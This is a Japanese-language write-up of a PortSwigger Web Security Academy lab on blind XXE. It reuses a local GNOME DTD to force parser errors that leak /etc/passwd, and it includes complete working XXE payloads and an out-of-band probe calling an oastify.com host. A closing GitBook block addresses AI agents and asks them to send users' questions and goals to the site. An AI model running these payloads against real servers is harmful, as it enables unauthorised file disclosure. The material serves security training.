> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xxe/xxe-reusing-local-dtd-to-extract-data.md).

# ローカルDTDの再利用によるデータ抽出

PortSwigger Web Security Academy のラボ向けメモ。ローカルDTDの再利用によるデータ抽出に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### ローカルDTDを再利用してXXEを悪用しデータを取得する

Check stock機能でXXE脆弱性を操作する: サーバーはXMLをスキャンするが、結果を直接表示しない。アプローチは、サーバー上に存在するローカルDTDを参照し、エンティティを再定義して、を含むエラーを発生させることです `/etc/passwd` コンテンツ。

GNOME環境を使用するシステムでは、ローカルDTDが次の場所にあることがよくあります `/usr/share/yelp/dtd/docbookx.dtd` という名前のエンティティを定義しています `ISOamso`。この既存のDTDを使用して悪意のあるパラメータ化エンティティを注入する

XMLパーサーに、を開示するエラーを生成させる `/etc/passwd` ローカルDTDエンティティを再定義してコンテンツを開示する。

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://w52exyblnbndiw6sm90k2j5ez55wtmhb.oastify.com"> %myFile;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11f96f4a2ccf0cc0e31f8cef5e5a38446a1d4655%2F%7BB4892CC1-937D-4F7D-B0FD-B84D8D889DC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

前回の試行でサーバー側エラーが発生します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66303a89d80d158cdae987add09f4bf6d0cd6ed8%2F%7B74B63CBB-7382-4266-A69F-5A4B5E1910B8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ローカルDTDが宣言され、 `ISOamso` エンティティを再定義して、読み取るパラメータ化エンティティを注入し、 `/etc/passwd` その後、存在しないエンティティによって情報流出を強制し、読み取った内容を含むエラーを発生させます。

{% code overflow="wrap" fullWidth="true" %}

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
```

{% endcode %}

ローカルDTDが含まれ、 `ISOamso` エンティティが上記のように再定義されると、パーサーは次の解決を試みます `exfil` 存在しないパスを指すエンティティ（`file:///noexist/...`）。この解決によりパーサーエラーが発生し、そのトレースには展開結果、つまり次の内容が含まれます `/etc/passwd` が、サーバーから返されるエラーメッセージに表示されます。

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ef528538fc278eca5395544cf88bd0519311d0d%2F%7BFB3581D3-9B1D-4BE2-8EBD-C66EFE1791B4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xxe/xxe-reusing-local-dtd-to-extract-data.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
